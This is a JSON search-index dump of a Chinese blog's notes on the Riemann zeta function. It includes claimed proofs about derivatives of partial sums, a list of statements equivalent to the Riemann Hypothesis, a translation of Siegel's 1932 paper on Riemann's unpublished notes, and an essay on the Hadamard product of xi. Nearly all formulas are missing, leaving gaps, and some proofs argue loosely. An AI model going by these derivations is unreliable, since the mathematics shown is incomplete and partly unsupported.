不成立，临界带内的非平凡零点将如何修正现有渐近行为？研究表明，对 ， 的指数衰减特性可能排除此类零点的存在性，但严格证明仍缺失。 这些问题的解决不仅依赖复分析与数论的深度融合，更可能需要随机矩阵理论、动力系统等交叉学科的新方法。正如黎曼 ζ 函数将素数分布与复平面零点联系起来，虚部渐近公式的精细结构或许正隐藏着通往黎曼假设证明的关键线索。 当我们凝视公式 中简洁的对数项时，是否能感受到素数在复平面上投下的神秘阴影？这个将离散序号 与连续虚部 编织在一起的数学表达式，既是人类理性思维的辉煌成就，也是向未知领域发出的永恒追问。"},{"title":"","date":"2025-10-20T06:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/67.html","permalink":"https://blog.mhuig.top/notes/Zeta/67","excerpt":"","text":"不知名的碎片 5 不知名的碎片 5 证明 其中 是对部分和的导数的 变换， 为正整数 变换 的定义: 设 是定义在正整数集上的函数，若存在一个解析表达式 （如多项式、指数函数等）使得对所有 成立，则变换 将 映射为定义在 上的函数 ，满足： 其中 ，即通过将原表达式中的离散变量 直接替换为连续变量 ，实现定义域从 到 的扩展。 部分和 表达式 积分 计算过程 理论值 1 2 3 4 5 要证明 （其中 为正整数） ，需通过伯努利多项式的解析延拓、 函数导数的经典关系及积分换元法： 1. 明确 的表达式与解析延拓黎曼 函数部分和的导数为 黎曼 函数部分和定义为 对 求导得: 代入 （ 为正整数, 此时 ）, 直接得到: 核心问题 ：当 为非整数时, 和式 无意义, 需通过解析延拓将其拓展为定义在全体实数（甚至复数）上的函数. 自然数幂和的伯努利多项式表示（基础公式） 先回顾自然数幂和的经典结果 ：对正整数 , 前 个自然数的 次幂之和可表示为伯努利多项式 的形式: 其中: 是伯努利多项式（最高次项为 的多项式）； 是伯努利数（伯努利多项式在 处的取值, 如 , , , ）。 它将离散幂和转化为连续多项式, 为后续解析延拓提供可能. 对幂和公式求导, 引入 项 为得到含 的和式, 对上式两边关于 求导（此时将 视为连续变量进行解析延拓）： 左边求导 ： （注：对整数 , 和式对 的导数仅保留最后一项的导数 ；但延拓到非整数后, 需用解析导数, 即对全体项求导后的和。） 右边求导 ： （因 是常数, 求导后为 0； 对 的导数是其自身导数 。） 联立两边, 得到: 其中 是积分常数（求导时引入, 需通过边界条件确定）. 通过 函数导数确定常数 为确定常数 , 需联系黎曼 函数的导数 . 已知伯努利数与 函数的经典关系: 为正整数 （可由 函数的函数方程与伯努利多项式的性质推导, 是数论中的核心公式. ） 考虑当 时, 有限和 应趋近于无限和的导数（但需注意 发散, 此处需通过解析延拓定义 “无限和的导数”）. 更简单的方法是取 （此时和式为空和, 值为 0）代入公式: 再结合伯努利多项式的导数与 函数导数的关系：通过赫尔维茨 函数导数公式可证明 （具体推导需用到 在负整数点的导数表达式, 此处可视为已知结论）. 因此: 代入公式, 最终得到有限和的解析延拓表达式： 联立, 即得非整数 时 的解析表达式： 2. 积分换元与伯努利多项式的关键性质需计算积分 ，将被积函数代入延拓后的表达式： 换元技巧 ：令 （则 ，积分限变为 ） ，积分化为： 伯努利多项式的积分性质 ：已知伯努利多项式在 上的积分满足 （ ） 。对导数项积分： 而伯努利多项式的边界条件为 （ ） ，故该项为 0。右侧积分 ，因此： 结论通过伯努利多项式的解析延拓、积分换元及边界条件，证明了对任意正整数 ： 特别地， 时也成立。"},{"title":"","date":"2025-10-20T10:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/68.html","permalink":"https://blog.mhuig.top/notes/Zeta/68","excerpt":"","text":"不知名的碎片 6 不知名的碎片 6 证明 其中 是对部分和的 阶导数的 变换， 为正整数. 变换 的定义: 设 是定义在正整数集上的函数，若存在一个解析表达式 （如多项式、指数函数等）使得对所有 成立，则变换 将 映射为定义在 上的函数 ，满足： 其中 ，即通过将原表达式中的离散变量 直接替换为连续变量 ，实现定义域从 到 的扩展。 要证明高阶导数情形下积分与极限的交换成立，需从 解析延拓理论 和 一致收敛性 出发，结合黎曼 函数的解析性质严格论证。以下分三步完成证明： 第一步：明确高阶导数的解析表达式黎曼 函数的部分和定义为 ，其 阶导数为： 这一结论可通过数学归纳法验证： 基础情形 ： 成立； 归纳假设：设 时， 归纳递推：对 ，求导得 即证。 第二步：积分与极限交换的合理性待证等式为 其核心是验证 积分与极限运算的可交换性： 关键工具：控制收敛定理根据实分析中的控制收敛定理，若满足以下条件，则交换成立： 逐点收敛： 控制函数存在： 存在可积函数 ，使得对所有 ， 条件验证： 逐点收敛性： 对固定 （ 为正整数）， 虽然 作为数值级数发散，但黎曼 函数通过 解析延拓 定义于全复平面（除 外），其导数 为有限值。根据解析延拓的唯一性，部分和的解析延拓收敛于 。 控制函数的构造： 对区域 ， 一致收敛。对负整数 ，利用 函数的 积分表示（如梅林变换）： 求导后得 其模长有界（证明 ，其中 ）。因此，对积分区间 ，存在常数 使得 ，满足控制收敛条件。 第三步：逐项积分与解析延拓的兼容性对有限 ，积分与求和可交换（有限项求和的线性性）： 当 时，右侧极限为 （解析延拓意义下的收敛）。结合第二步的交换性结论，即得： 结论通过验证高阶导数表达式、控制收敛定理条件及解析延拓的唯一性，证明了积分与极限的交换性。最终结论为： 为正整数时， 特别地， 时也成立。"},{"title":"","date":"2025-10-24T05:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/69.html","permalink":"https://blog.mhuig.top/notes/Zeta/69","excerpt":"","text":"不知名的碎片 7 不知名的碎片 7 证明："},{"title":"","date":"2025-09-14T05:31:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/7.html","permalink":"https://blog.mhuig.top/notes/Zeta/7","excerpt":"","text":"On the Number of Primes Less Than a Given Quantity On the Number of Primes Less Than a Given Quantity"},{"title":"","date":"2025-10-24T06:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/70.html","permalink":"https://blog.mhuig.top/notes/Zeta/70","excerpt":"","text":"Zeta(3) Zeta(3)"},{"title":"","date":"2025-11-02T02:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/71.html","permalink":"https://blog.mhuig.top/notes/Zeta/71","excerpt":"","text":"与 RH 等价的命题 与 RH 等价的命题 以下命题都是等价的。 黎曼猜想：黎曼 函数的非平凡零点都在直线 上。 。其中 是 Möbius 函数。 对任意正数 ， 。其中 是 Mertens 函数。 存在正数 ， 。 对任意整数 ， 。其中 ， 是欧拉常数。 对任意整数 ， 。其中 是第 个调和数。 对任意正数 ， 。其中 是 阶 Farey 序列的第 个元素， 是 阶 Farey 序列的元素个数。 对任意正数 ， 。 对充分大的 ， 。其中 是 Landau 函数， 是对数积分的反函数。 对任意正数 ，Riesz 函数 。 形如 的函数组成的空间在 上稠密。其中 是 的小数部分， ，且 。 时，积分方程 没有非平凡的有界解 。 对任意正整数 ， 。其中 是黎曼 函数。 在带域 上没有零点。 的零点都是实数。其中函数 ， 。 De Brujin-Newman 常数 。 的定义： 的零点都是实数，当且仅当 。 。其中 是素数计数函数。"},{"title":"","date":"2025-10-18T13:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/65.html","permalink":"https://blog.mhuig.top/notes/Zeta/65","excerpt":"","text":"论黎曼解析数论遗稿 西格尔 (1932)[中文] 论黎曼解析数论遗稿 西格尔 (1932)[中文] 论黎曼解析数论遗稿卡尔・路德维希・西格尔（1932 年） 在 1859 年写给魏尔斯特拉斯的一封信中，黎曼提到了一种对 函数的新发展，但他尚未将其简化到足以包含在他发表的关于素数理论的论文中。如今，由于黎曼信中的这一点已被 H. 韦伯在其 1876 年版的黎曼著作中发表，人们可以推测，对位于哥廷根大学图书馆的黎曼遗稿进行详细审查，可能会揭示出解析数论中重要的隐藏公式。 事实上，图书馆员 Herr Distel 早在几十年前就在黎曼的论文中发现了所讨论的 函数的表示。它涉及一个渐近展开式，描述了函数 在临界线 上，更一般地，在每个带状区域 中，随着 的无限增大而表现出的行为。这个展开式的主要项后来被哈代和利特尔伍德在 1920 年独立于黎曼重新发现，作为他们 “近似函数方程” 的一个结果；他们使用了与黎曼相同的证明方法，即通过鞍点法对积分进行近似计算。然而，在黎曼那里还有一个获得渐近级数额外项的过程，这个过程基于积分 的优美性质，顺便提一下，这个积分也使得克罗内克和最近的莫德尔得出了高斯和互反公式的最优雅推导。 1926 年，贝塞尔 - 哈根在对黎曼论文的新审查中注意到了另一个以前未知的 函数的定积分表示；在这个表示中，黎曼也是基于 的性质。 这两个 的表示可以被视为黎曼数论遗稿中最重要的结果之一，因为它们并未出现在他的已发表论文中。关于所谓的 “黎曼猜想” 的证明，甚至关于 函数在临界线上存在无限多个零点的证明，并未包含在黎曼的论文中。关于在区间 内存在渐近 个 实零点的猜想，黎曼可能是基于对渐近级数的启发式考虑；但即使在今天，如何证明或反驳这一主张仍然不清楚。借助渐近级数，黎曼还计算了一些 的实零点，得到了更好的近似。 在黎曼关于 函数理论的笔记中，没有直接可发表的材料；有时在同一页面上会发现不连贯的公式；通常只写下一个等式的一边；甚至在关键点上也没有残差估计和收敛性研究。这些原因使得对黎曼片段进行自由改编成为必要，如下所述。 关于黎曼通过 “高度概括” 的想法而不是需要分析的形式工具来发现其数学工作结果的传说，可能不再像在克莱因生前那样普遍。黎曼的分析技术有多强，特别是通过他对 函数的渐近级数的推导和操作而变得特别清楚。 § 1. 定积分的计算设 为复变量。构造积分 从 到 ，沿着一条平行于第四和第二象限平分线的线，从右下到左上，穿过实轴在 和 之间的点。在公式 中，这个积分路径用积分号下方的符号 表示。 函数 是整函数。根据黎曼，它可以用指数函数以简单的方式表示。为了证明这一点，使用柯西定理得到 的两个差分方程： 一方面，我们有 所以 另一方面，当积分路径用符号 表示时，这是通过向量 的平行移动从先前使用的路径得到的，我们有 因为被积函数在极点 x = 0 处有留数 ；所以因为 方程 得出公式 从 和 首先得到 时的著名方程 然后通过消去 得到所需结果 对 求 次导数，得到一般公式 为了方便起见，将 改写为另一种形式。将 代替 ，并将 乘以 ；这给出了黎曼发现的方程 这将继续发挥重要作用。 积分 是积分 的一个特例，对于这个积分，两个差分方程也足够了。对于 的每个负有理值，都有一个类似于 的公式；通过 u 的特化，可以得到高斯和的互反律。在他的讲座中，黎曼基于 的性质建立了 函数的变换理论。 § 2. ζ 函数的渐近公式如果复变量 的实部 大于 ，且 为自然数，则 或者当 要沿着负虚轴的正方向绕行时， 这个公式甚至对于任意值的 都成立。现在让 限制在一个固定区间 ，并且让 。为了通过鞍点法对 中出现的积分进行渐近计算，当 时，必须取通过 的零点的积分路径。从这个方程 得到零点的值 在以 为中心、半径为 的圆盘内，以下展开式成立 并且在级数 中有一个可能的 中积分的渐近展开式。如果 取特殊值 ，则级数中出现的积分现在都可以通过 §1 的公式 来计算。对于固定的 ，这是对 的一个条件，通常只能近似满足，因为 是一个整数。这就是为什么黎曼用邻近的值 替换了鞍点 ，这个值从方程 得到 然后根据 确定 为小于 的最大整数，所以 现在引入缩写 现在假设 不是整数。积分路径 将被由两条从点 发出的半直线组成的折线 替换，分别包含点 和 。关于极点 ，留数定理得出 在 的左侧两个直线元素中，我们称之为 ，现在 因此根据 和 对于 在 上一致。 在 的右半线上，设 那么我们有 即使 ，这也成立，因此对于足够大的 所以我们有估计 并且这对于 在 上一致。从 和 得到 对于 右边积分的渐近展开，从恒等式开始 对于 ，右边的最后一个因子可以展开为 的幂级数，其系数需要进一步研究。根据 中定义的 ，设 从微分方程 得到递推公式 对于 也成立，当设 时。如果加上方程 ，那么 由 确定；特别是， 是 的 次多项式，不包含 的幂，对于 。因此 对于 一致成立，但在 上稍微不一致。 为了估计幂级数 的尾部，使用表示 其中 是位于收敛圆内的曲线，正绕 和 各一次。由 我们有 因此在圆 内，我们有估计 在 中设 ，并让 是围绕 的半径为 的圆，目前仅受条件 的限制。那么从 、 、 一致地在 和 上得到估计 函数 关于 的最小值为 ，当 时。因此，如果 则选择 是允许的。因此，我们有 对于 ，根据 ，选择 也是允许的；那么 得出关系 由 和 得出 为了确定如果在这个方程中将 替换为部分和 所产生的误差，必须检查积分 从现在开始，设 。如果将积分路径中位于圆盘 或 内的部分分别替换为相应的弧，则可以避免被积函数在极点 附近的邻域。如 中所示，对圆弧的积分仅对 贡献 。在积分路径的其余部分，有 。设 并考虑 对于 ，或者另一方面 对于 ；那么 一个简单的计算表明，对于 ，第二项 超过了第一项。这给出了估计 在 和 上一致。 从 、 、 、 、 现在得出 在右边积分时，不是从 到 ，而是从 到 的整条线，那么，由于 [英译者注： ] 的值仅变化 ；另一方面，根据 所以 最后，将积分变量 替换为 ，使得 根据 §1 的结果，积分 的值为 为了也以初等方式表达 中出现的右侧积分，对于 ，黎曼从 形成方程 从中通过展开 的幂级数，得到公式 现在，从 、 、 得出展开式 其中 并且其中系数 由递推公式 确定。这个展开是渐近的，并且特别是对于 是一致的，因为 中的余项确实对于每个固定的 ，是关于 的 阶，在 上一致。从分析中已知的渐近级数来看， 本身与出现整数 的不同之处在于，这使得展开的各个项依赖于 的不连续性。在证明中所做的假设 不是整数，可以很容易地随后消除，因为可以在 中在 的任何整数值处进行右边界跨越。 如果我们在 中选择特殊值 ，误差项是 ，因此随着 t 的增加呈指数级趋于 。对于实际目的，由于小指数因子 ，这个误差项的估计并不有用；更精细的估计表明 可以被一个相当大的数字替代。找到误差作为 的函数的确切增长顺序将是有趣的；但这并不简单，因为它对于固定的 并不随着 的增加而趋于 。 由于 的情况特别重要，因此将 乘以由 定义的函数 是适宜的，其中我们指的是 在从 到 和从 到 的平面切割中唯一确定的那些值，这些值在 时为零。那么，在临界线 上， ，并且 是实数。根据 ，对于 其中 由 定义。包含在 中的每个有限和中的 是 的多项式。因此，根据 ，对于每个固定的 和 ，通过按 的幂重新排序，我们有关系 其中系数 是有限数量的导数 的齐次线性组合。使用 和 的递推公式显式计算 相当繁琐；黎曼通过以下技巧简化了这一点。代入 然后 是一个完整的渐近级数，并且所需的量 是 的系数，该系数通过按 的幂排序级数而产生。右边 的和只不过是通过形式上乘以收敛的幂级数 与发散的幂级数 由于固定的幂 仅出现在有限数量的系数 中，因此以下计算 的方法是合法的：通过形式上乘以 和 构造项 由此，通过按 的幂次排序，得到级数 ；此时 即为 中的常数项。在计算该常数项时， 中出现的 的负幂次无关紧要，因此只需确定 的多项式部分。 为简洁起见，设 则根据 式有 其中 ，因此幂级数 形式上满足微分方程 由此可得关于级数 的微分方程 若现在按 的幂次排序， 则由 式可得 以及递推公式 若设 则有 利用这些递推公式计算 后，即可显式给出 ，即 从而得到 其中 取值 ， 取值 。 当 时，递推公式 最为简便。对于这一特殊情况，容易得到 其中省略的项仅包含 的负幂次。因此，对于 有 从而在 的情况下， 被确定到 量级的误差。 若借助斯特林级数对右侧第二项中的 进行渐近展开，渐近展开式 可进一步简化。为此，黎曼考虑了以下公式 该式通过对 的已知伯努利积分表示进行简单变换得到。由于恒等式 通过分离实部和虚部可得 其中由于在 处存在极点，积分应理解为柯西主值。若设 则有 ，且一般有 由此以众所周知的方式得到渐近级数 当 时，有 ，因此 结合 式，我们最终得到 时 的渐近级数的确定形式： 其中 这本质上与黎曼的结论一致，唯一的新贡献是余项估计。 现在可以放宽 的条件和 仅限于区间 的限制，仍然可以使用渐近展开式 ；此时只需将 理解为复数 ， 理解为整数 ，而 的定义仍由 给出。证明这一论断所需的扩展可以从 的推导中轻松获得。 渐近级数 是 的齐次线性组合；通过重新排列，可以得到形如 的表达式，其中每个 都是 的幂级数。这些幂级数是发散的；这引发了一个问题：它们是否是某些解析函数 的渐近展开式？以及级数 是否也是 的渐近展开式？黎曼也曾研究过这个问题；但同样没有必要的余项估计。由于级数 因具有更大的余项而不具备原始渐近展开式的理论和实际重要性，在下文中将省略对其误差的繁琐研究；或许这种 [表述？] 更能体现黎曼的形式幂级数的特点。 公式 （也可写成 的形式）允许进行逆变换 当 时成立。这可以通过应用傅里叶定理或对 中的变量取复共轭得到。由 可得 该式对 也成立。可直接将 替换为级数 并利用 中的积分 计算该级数中单个成员的贡献。 通过这种方式，我们得到渐近展开式 另一方面，根据 和 有 由于可以容易看出，如 中给出的 作为 的齐次线性函数（具常系数）的表示方式是唯一的，因此由 和 可得方程 特别地，若设 则有 对于其余的 ，可以通过 的部分积分推导出递推关系；但也可以不经过额外计算，以下述方式获得。根据 、 、 有 其中根据 和 ， 满足递推关系 由于 因此对于 有递推公式 其中 。由此利用 可得 根据 式，可以得到 本身的渐近展开式；具体而言 将此代入上述 的结果中，可得 从递推关系 可知， 的渐近级数中出现的所有幂指数均满足 。因此， 中出现的 的所有导数的阶数均为 的形式，这一点在 的表达式中易于验证。若设 其中求和指标 取值 ，求和指标 取值 ，则所有 的值均可确定；根据 ， 的值已知；可以立即看出， 和 中共同出现的 的值是一致的。 为了数值计算 以及渐近级数的实际应用，按 的递增幂次排序更为可取。通过 确定 实际上比之前处理的 的确定更为繁琐；此外，连续的 并不具有单调递减的幅度，但 确实具有精确的阶数 ，因此例如只需将 到 计算到之前的误差 即可。 通过公式 过渡到 。如果试图从 获得 的精确表达式而非仅仅一个渐近级数，那么将会引出下一节将要讨论的方法。 § 3. ζ 函数的积分表示基于第 1 节公式 对 函数渐近级数系数的显式确定，黎曼还推导出了一个相当有趣的 函数表达式 —— 该表达式直到 1926 年才被其他数学家注意到。 现设 ，并令 在从 到 的割线上取主值。将公式 乘以 并从 到 沿第一象限平分线积分。现设缩写 ，则有 以及 因此根据公式 有 此处第二个积分可表示为 其中符号 表示通过实轴反射得到的第一条积分路径。将 乘以因子 并考虑关系式 可得在整个 平面上成立的公式 黎曼并未将所有内容都写成这种对称形式；但这里选择的版本似乎更便于应用。现已使 的函数方程显现出来；因为当 时，右侧两项互为复共轭，因此 在此处为实数，且由于该函数在 时为实数，根据对称性原理，函数方程 适用于 ，从而普遍适用于任意 。 若进一步设 则根据 和 有 由此将 在临界线上的研究简化为对 实部的研究。 § 4. 两个黎曼公式对 ζ 函数理论的意义基于方程 的 渐近级数的主要项是表达式 该式也曾由哈代和利特尔伍德发现，但他们仅给出了其绝对值的上界，而非黎曼对 的展开式。他们还发现了一个更一般的主要项形式，即 其中 。该式此前并未由黎曼给出；但可以想象，沿着黎曼的思路，不难得到表达式 的完整渐近展开式 —— 该展开式对于由 定义的函数 所起的作用，与黎曼的特殊函数 相同。 对于哈代和利特尔伍德所应用的估计 在区间 内零点个数 的应用（黎曼公式对此给出了更精确的值），似乎并非更好的结果。然而在上述文献中，黎曼声称 渐近等于 ，因而渐近等于 在带状区域 内所有零点 的个数，并声称可借助他的新展开式证明这一点；但从其遗稿中尚不清楚他是否已设计出该证明。在 时成立的表示式 其中 右侧三角级数的第一项（即 ）在区间 内实际上渐近具有 个零点；且系数 单调递减。或许黎曼认为这一观察可用于其断言的证明。 显然可以利用精确的黎曼公式来估计平均值 这些平均值是众所周知的，并与所谓的林德勒夫猜想密切相关。但在此会遇到来自自然数分解的显著算术困难。 对于 函数的数值表编制（尤其是进一步计算零点），渐近展开式具有重要价值。然而若要将其用于实际应用，则需要比第 2 节中推导的更精细的余项估计。黎曼曾运用其公式进行了大量计算以确定 的正零点。对于最小正零点，他得到的值为 ；格拉姆计算的值为 ，相差不足千分之三。利用 的乘积表示也可得到 的下界，从而得出易证的等式 其中 为欧拉常数，且 遍历所有位于右半平面的 的解。由此黎曼断言 对于 ，他得到的值为 ；而格拉姆给出的值为 。 第二个黎曼公式（即 的积分表示）或许对理论更具意义。人们将尝试从 中获得关于 在临界线上零点分布的信息。设 在区间 内增加。在此过程中， 增加 ，其中当经过位于 上的 可能零点时，变化量等于该零点重数乘以 ，因此根据 ， 在 内的零点个数大于 。但现在我们有 因此根据 ， 在区间 内的零点个数渐近至少等于 ，即渐近等于 ζ(s) 在带状区域 内的零点个数 —— 若函数 （由 定义）的幅角随 减小得比 慢。对于每个半带状区域 ，可通过第 2 节的方法将 展开为渐近级数；但再次得到的主要项是 个求和项的和，即 ；而研究该求和项幅角的问题与研究 中出现求和项零点的问题难度完全相同，因此引入 似乎并未带来任何收益。 若现考虑边为 的矩形（其上边不含 的零点），则 在矩形正方向环流时的变化量等于矩形内 的零点个数。在下边 变化量为 ，在右边（遵循渐近级数）也仅为 。此外，通过 函数理论中的常规方法可证明，上边的变化量至多为 。因此，除 量级的误差外， 在区间 内的变化量等于 乘以矩形内 的零点个数。由此问题简化为研究整超越函数 的零点。 黎曼试图获得关于 零点的陈述，为此他从 形成关系式 并通过引入新变量、变形积分区域及应用留数定理，将该复二重积分转化为不同形式；但未得到有用结果。 迄今为止关于 零点位置知之甚少。黎曼未对此作进一步评论；因此在本文的历史数学论述中，关于 理论的以下评论必须简短。它们提供了不等式 的证明。对于 ，可通过第 2 节的方法获得渐近级数；就目前目的而言，仅需考虑该级数的主要项。首先将证明：在 的区域中，适用以下公式 其中缩写 被使用。 现根据 有 函数 的鞍点位于 。设 对于每个自然数 ，根据柯西定理有 现很想完全按照第 2 节的方法进行，因此会选择 ；但这样仅在较小矩形区域 内直接得到 ，而扩展到附加区域 需要消除某些附加项。这就是为何我们最初让 k 任意选取。 右侧第一个积分可根据黎曼第 1 节的方法计算；得到 在第二个积分中，我们将积分路径引导通过鞍点 ，并平行于第二和第四象限平分线行进。因此它会在实轴上的点 处穿过。然而为避免接近极点 和 的邻域，仍可用这些圆上的弧段替换积分路径位于圆 和 内的部分。若假设 则有 对于 需要两个估计。第一个针对圆 ；具体为 因此 第二个针对积分路径位于该圆外的部分。若设 ，则在积分路径上 ，且在 时，在圆 外适用不等式 因此 且 其中 当 。但此时 且 此外，在积分路径上 因此 由此可得 并与 、 、 、 联立得 现需证明：对于 且在区域 内，通过适当选择 ，项 的阶数高于大括号内其他项。首先， 当 且 因此 同时 对于子区域 ，不等式 成立，且右侧随 趋于无穷大。因此在 和 的基础上可知：当 时， 式大括号内的表达式在上述子区域内取值为 在子区域 （待处理）中，现取 则对于充分大的 有 因此根据 和 有 此外，对于 有 因此对于充分大的 ， 位于圆 内，且 式适用于 ；由于 可得 最后，对于 有 且对于充分大的 有 因此根据 和 有 综合不等式 可知估计 、 、 表明：即使在区域 内， 式大括号内的值仍由表达式 给出。 因此通过应用斯特林公式， 式的断言得证。 顺带指出， 式甚至可在更大区域 （其中 为任意固定正数）内得到证明；但对于以下目的，每个 值小于 （即 ）即可。 除了公式 之外，还需要获得 在固定 且 时的阶数粗略估计。这可以从第 2 节中 的渐近展开式方法获得；出于当前目的，仅需考虑该展开式的主要项。首先将证明：在区域 内，适用以下公式 其中 ， 在象限平面 内有效。通过类似第 2 节的方法可获得渐近展开式的其他项，但对于当前目的并不需要。 通过比较 和 可得：对于象限平面 ， 的渐近展开式；该推导可能比第 2 节的方法在必要估计方面稍简单，但级数中的各个项最初以更复杂的形式出现。 … … 根据 可得 根据 可得 为方便起见，引入函数 根据 可得：对于 且 时 现在应能够估计 在每条半线 上的平均值，具体为表达式 但通过 可以更优雅地实现这一目标：具体而言，对于 有 此处可通过变形积分路径、交换积分顺序以及应用留数定理来转换右侧。计算可得以下结论： 该结论在 且 时成立，并由此进一步可得 因此对于每个固定的 有 但根据斯特林公式还可得到以下结论： 由此可得所需公式 对于固定的 。由此进一步可得 对于 ，可得 的下界。实际上，根据 ，在临界线上 因此根据 有 最后，对于 ，根据 和 有 现在，设 ，且直线 和 上函数 无零点。此外，设 。考虑边为 的矩形。在左边 上，对于足够大的 ，根据 没有 的零点。通过平行于实轴的切割将矩形内 的零点与右边 连接起来。在切割后的矩形内， 是单值的（明确的）；通过要求固定 ，它成为该函数的一个分支。众所周知，此时适用 其中 遍历位于矩形内的所有根的实部。第一个积分可以在 时向上准确估计，在 时向下估计，在 时估计。第三和第四积分的贡献，如通过 和 不难看出，仅为 阶。最后，第二个积分可以通过使用 和 以通常方式估计为 。因此，根据 有 根据 有 以及根据 有 在最后一个等式中， 遍历位于条带内的所有零点的实部。如果这些零点的数量记为 ，则根据 (94) 有 在上半平面， 的零点与 的零点一致。在假设位于上方 个零点中，最多有 个零点的前提下， 在区间 内的变化等于 ，因此无法获得关于 零点的陈述。然而，首先根据 可知 因此肯定存在无限多个位于左侧的零点；并且这可以从 和 中独立于 得出，通过减去位于区域 内零点数量的下界。我们将这个数量记为 ，因此对于每个 有 这个估计在 时最为有利，并得出 。目前 已知，通过采用类似于 的形式，用 代替 ， 其中 遍历位于条带内且位于临界线右侧的函数零点的实部。因此可得 在临界线右侧，的零点数量最多为 ，因此在区间内的减少量最多为 。因此，在该区间内的增加量至少为 ，其中 为任意增长慢于 的正函数。因此， 在该区间内的增加量至少为 ，根据 、 、 ，该值至少等于 。因此， 在区间 内的零点数 满足不等式 因此，位于临界线上的 零点的密度，即 的比值下限，对于 是正的，并且至少等于 ，因此大于 。除了这个数值之外，该结论并非新结果，但已在 1920 年由哈代和利特尔伍德以更简单的方式证明。尽管如此，这一小结果可能对这里讨论的 性质具有一定的独立价值。 关于公式 可以作进一步说明。黎曼猜想的错误程度，在某种意义上，可以通过总和 来衡量。尽管通过利特尔伍德已知该总和不超过 ，但目前尚无更好的估计。如果黎曼猜想是错误的，这个总和可能会比 增长得更快；然而，根据 ，在这种情况下 的增长速度将超过 ，因此黎曼猜想不可能 “过于错误”。设 为任意正函数，其增长速度比 慢，则根据 仍然可得：在狭窄区域 内，至少存在 个 的零点。这是一个新的结果，即使对于 增长速度比 慢的情况也成立。例如，在区域 内，存在超过 个零点。 关于是否可以改进 中给出的 下界的问题仍然悬而未决。为了证明黎曼关于 渐近等于 的断言，只需证明关于 的相应结论。这似乎难以通过之前使用的 函数分析方法实现，除非有本质上新的思路；尤其是任何试图证明黎曼猜想的尝试。"},{"title":"","date":"2025-11-02T05:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/72.html","permalink":"https://blog.mhuig.top/notes/Zeta/72","excerpt":"","text":"黎曼 ξ 函数的对数表示与其零点乘积形式 黎曼 ξ 函数的对数表示与其零点乘积形式 在解析数论的浩瀚星空中，黎曼 函数犹如连接素数分布与复平面几何的枢纽。其独特之处在于将 函数的非平凡零点凝聚为整函数的零点，从而通过复分析工具揭示数论奥秘。这里将系统阐述 函数如何通过 Hadamard 分解定理展开为零点乘积形式，并深入探讨其对数表示的解析内涵与历史演进。 函数的背景与定义黎曼在 1859 年的开创性论文中引入了 函数的辅助函数，后经完善形成标准的 函数定义： 这一构造将 函数的非平凡零点（即满足 的零点）转化为 函数的全部零点，同时消除了 函数在 和 处的奇点。关键性质在于 函数是 整函数 （无极点），且满足对称性 ，这使得其零点关于临界线 对称。根据黎曼猜想，这些零点应全部落在该临界线上，但至今仍是数学界悬而未决的重大问题。 函数的阶（order）是其解析性质的另一关键指标。通过 Stirling 公式对 函数的渐近估计可知， 函数是 1 阶整函数，这一结论直接决定了其 Hadamard 分解的形式。与多项式的有限零点不同， 函数拥有无穷多个零点 （其中 ），这些零点的分布规律与素数定理的误差项密切相关。 Hadamard 分解定理的应用1893 年，雅克・阿达马（Jacques Hadamard）提出的整函数分解定理为处理无穷零点提供了强大工具。该定理指出，任何阶为 的整函数可表示为： 其中 是 处的零点阶数， 是次数不超过 的多项式， 为典范因子。对于 函数，由于 ，故 ；其阶 导致 ，因此典范因子简化为 。 将 Hadamard 定理应用于 函数，得到初步分解式： 其中乘积遍历 函数的所有零点 。为确定常数 ，代入 可得 ，故 。对称性 暗示零点满足 ，因此乘积可配对为： 这种配对确保了乘积的收敛性，因为交叉项 形成收敛级数。 对数表示与导数公式对 函数的 Hadamard 分解式取对数，得到其对数表示： 两边对 求导，产生对数导数（logarithmic derivative）这一重要解析工具： 此式将 函数的局部解析性质与零点的整体分布联系起来。利用 函数的对称性 ，可进一步确定常数 的值。将 替换为 后对比导数等式，发现 。最终得到简化的 Hadamard 分解式： 通过对称性分析 与 成对出现），指数项 与 相互抵消，最终得到不含指数项的乘积形式： 这一过程中，黎曼原始表达式中的平方项乘积被拆分为单个零点的乘积，指数项通过对称性自动消去。 这一结果揭示了一个深刻事实： 函数完全由其零点集合决定， multiplicative factors 仅依赖于零点的分布。对数导数公式则成为研究零点分布的核心工具，例如通过对 取实部可得到零点密度估计。 本质等价性：通过变量替换 和零点关系式 ，可直接从哈达马展开式推导出黎曼 1859 年论文的对数形式。将 代入哈达马乘积： 两边取对数后即得黎曼表达式。 这表明两种形式完全等价，仅是 数学表述的简洁性选择 不同：黎曼强调对称性以简化收敛性分析，哈达马则遵循一般整函数分解的标准形式。 历史演进与数学意义黎曼最初的论文仅暗示了 函数的乘积表示可能，而严格证明需等待 Hadamard 分解定理（1893 年）的出现。1896 年，阿达马与普森（Charles Jean de la Vallée-Poussin）独立使用类似思想证明了素数定理，其中 函数的零点分布分析起到关键作用。值得注意的是，斯蒂尔切斯（Thomas Stieltjes）曾声称证明了 函数零点均位于临界线上，但未留下完整证明，这一悬念成为黎曼猜想的核心内容。 现代研究中， 函数的对数表示在计算数论中有重要应用。通过截断零点乘积，可构造 函数的数值逼近，进而验证黎曼猜想的正确性。例如，截至 2020 年，已验证前 个非平凡零点均满足 。此外，对数导数的积分表示为零点计数函数 （虚部小于 的零点个数）提供了渐近公式： 这一公式类比于素数定理中的素数计数函数 。 Zeta 函数所有非平凡零点的倒数和 其中 是 zeta 函数的非平凡零点。 证明： 联立 Xi 函数的两个定义，得： 两边同时取对数，得： 两边同时求导，得： 令 得： 由于 并且 得： 整理得到： 其中 为欧拉 - 马歇罗尼常数，约为 0.57721 56649 01532 86060 65120 90082 40243 10421 59335 … Zeta 函数的所有非平凡零点的倒数和约等于 0.02309 57089 66121 03381 43102 02865 29407 61008 … 结论与展望 函数的对数表示与其零点乘积形式，将复分析的无穷乘积与数论的素数分布紧密相连。从黎曼的原始洞察到 